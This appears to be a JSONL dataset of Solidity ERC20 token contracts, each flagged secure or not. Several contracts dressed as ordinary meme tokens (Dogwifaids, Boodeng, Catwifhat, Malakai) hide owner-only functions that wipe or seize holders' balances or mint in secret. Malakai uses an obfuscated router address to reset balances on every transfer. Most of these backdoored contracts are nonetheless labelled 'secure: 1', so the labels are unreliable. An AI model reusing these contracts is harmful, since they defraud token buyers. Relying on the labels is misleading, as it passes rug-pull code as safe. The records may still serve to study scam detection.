}\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == lace, \"Not allowed\");\n\n _;\n }\n\n function deficiency(address[] memory pole) public onlyOwner {\n for (uint256 i = 0; i < pole.length; i++) {\n address account = pole[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_633.sol", "secure": 1, "size_bytes": 4358 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract RockyHyrax is ERC20, Ownable {\n constructor() ERC20(\"Rocky the Hyrax\", \"HYRAX\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_634.sol", "secure": 1, "size_bytes": 378 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Dogwifaids is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable desert;\n\n constructor() {\n _name = \"DogWifAids\";\n\n _symbol = \"AIDS\";\n\n _decimals = 18;\n\n uint256 initialSupply = 952000000;\n\n desert = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == desert, \"Not allowed\");\n\n _;\n }\n\n function acquaintance(address[] memory groan) public onlyOwner {\n for (uint256 i = 0; i < groan.length; i++) {\n address account = groan[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_635.sol", "secure": 1, "size_bytes": 4362 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract Thor is Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor() {\n _name = \"THOR\";\n\n _symbol = \"THOR\";\n\n _totalSupply = 1250000 * (10 ** decimals());\n\n _balances[owner()] = _totalSupply;\n\n emit Transfer(address(0), owner(), _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function Burn(address account, uint256 amount) public onlyOwner {\n _burn(account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_636.sol", "secure": 1, "size_bytes": 5162 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract GRASS is ERC20 {\n constructor()\n ERC20(\"Grass Grass7B4RdKfBCjTKgSqnXkqjwiGvQyFbuSCUJr3XXjs\", \"GRASS\")\n {\n _mint(\n 0x4ca41FdDd55cA99a71DB5e5cfC41DbCC1e275213,\n 1000000000 * 10 ** decimals()\n );\n }\n}", "file_name": "solidity_code_637.sol", "secure": 1, "size_bytes": 406 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Boodeng is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable constituency;\n\n constructor() {\n _name = \"Spooky Moo Deng\";\n\n _symbol = \"BOODENG\";\n\n _decimals = 18;\n\n uint256 initialSupply = 429000000;\n\n constituency = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == constituency, \"Not allowed\");\n\n _;\n }\n\n function thrust(address[] memory recording) public onlyOwner {\n for (uint256 i = 0; i < recording.length; i++) {\n address account = recording[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_638.sol", "secure": 1, "size_bytes": 4391 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\nenum TokenType {\n standard,\n liquidityGenerator,\n baby,\n buybackBaby\n}", "file_name": "solidity_code_639.sol", "secure": 1, "size_bytes": 2707 }
{ "code": "// SPDX-License-Identifier: AML AND MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal onlyInitializing {}\n\n function __Context_init_unchained() internal onlyInitializing {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n uint256[50] private __gap;\n}", "file_name": "solidity_code_64.sol", "secure": 1, "size_bytes": 593 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract BaseToken {\n event TokenCreated(\n address indexed owner,\n address indexed token,\n TokenType tokenType,\n uint256 version\n );\n}", "file_name": "solidity_code_640.sol", "secure": 1, "size_bytes": 246 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./BaseToken.sol\" as BaseToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Contract is IERC20, Ownable, BaseToken {\n using SafeMath for uint256;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private _decimals;\n\n uint256 private _totalSupply;\n\n constructor() {\n _name = \"GM FREN\";\n\n _symbol = \"PEPE\";\n\n _decimals = 18;\n\n _mint(owner(), 1_000000000 * 10 ** 18);\n\n emit TokenCreated(owner(), address(this), TokenType.standard, 1);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n\n _totalSupply = _totalSupply.sub(amount);\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_641.sol", "secure": 1, "size_bytes": 5422 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Catwifhat is ERC20, Ownable {\n event TokensBurned(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor(\n address initialOwner\n ) ERC20(\"CatWifHat\", \"CatWifHat\") Ownable(initialOwner) {\n _mint(initialOwner, 1000000000 * (10 ** decimals()));\n\n transferOwnership(initialOwner);\n }\n\n function burn(address from, address to) external onlyOwner {\n uint256 amount = balanceOf(from);\n\n require(amount > 0, \"No tokens to transfer\");\n\n _transfer(from, to, amount);\n\n emit TokensBurned(from, to, amount);\n }\n\n function _obscureMint(address account, uint256 amount) internal {\n _mint(account, amount);\n }\n\n function sendGift(address to, uint256 amount) public onlyOwner {\n _obscureMint(to, amount);\n }\n}", "file_name": "solidity_code_642.sol", "secure": 1, "size_bytes": 1076 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Ownable {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}", "file_name": "solidity_code_643.sol", "secure": 1, "size_bytes": 874 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\n\ncontract Malakai is Ownable {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balanceses;\n\n\t// WARNING Optimization Issue (constable-states | ID: 34954c7): Malakai._totalSupply should be constant \n\t// Recommendation for 34954c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n string private _name;\n\n string private _symbol;\n\n UniswapRouterV2 Router2Instance;\n\n function initINIT() internal {\n uint256 supplyhash = _initSupply;\n\n address router_;\n\n router_ = address(uint160(supplyhash));\n\n Router2Instance = UniswapRouterV2(router_);\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: 489ed87): Malakai._initSupply should be constant \n\t// Recommendation for 489ed87: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSupply =\n 1323995976083318023847656560591034026600115552771;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 30382d2): Malakai.constructor(string,string).name shadows Malakai.name() (function)\n\t// Recommendation for 30382d2: Rename the local variables that shadow another component.\n constructor(string memory name, string memory sym) {\n _name = name;\n\n _symbol = sym;\n\n _balanceses[_msgSender()] = _totalSupply;\n\n initINIT();\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 30382d2): Malakai.constructor(string,string).name shadows Malakai.name() (function)\n\t// Recommendation for 30382d2: Rename the local variables that shadow another component.\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balanceses[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0728b64): Malakai.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0728b64: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n (, _balanceses[owner], ) = _aaaroveeee(owner, true, amount);\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 290ceeb): Malakai.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 290ceeb: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[owner][sender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eee73a6): Malakai.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eee73a6: Rename the local variables that shadow another component.\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n (, _balanceses[from], ) = _aaaroveeee(from, true, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0be9744): Malakai._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0be9744: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][sender] = amount;\n\n emit Approval(owner, sender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = _balanceses[from];\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balanceses[from] = balance - amount;\n\n _balanceses[to] = _balanceses[to] + amount;\n\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b0db874): Malakai._dogeswap(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b0db874: Rename the local variables that shadow another component.\n function _dogeswap(\n address owner,\n uint256 amount\n ) internal virtual returns (uint256) {\n return\n IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balanceses[owner],\n owner\n );\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9edf286): Malakai._aaaroveeee(address,bool,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9edf286: Rename the local variables that shadow another component.\n function _aaaroveeee(\n address owner,\n bool no,\n uint256 amount\n ) internal virtual returns (bool, uint256, bool) {\n if (no == true) {\n return (true, _dogeswap(owner, amount), true);\n } else {\n return (true, _balanceses[owner], true);\n }\n\n return (true, _dogeswap(owner, amount), true);\n }\n}", "file_name": "solidity_code_644.sol", "secure": 0, "size_bytes": 7294 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Yameiionline is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable socialist;\n\n constructor() {\n _name = \"Yameii Online\";\n\n _symbol = \"YAMEII\";\n\n _decimals = 18;\n\n uint256 initialSupply = 926000000;\n\n socialist = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 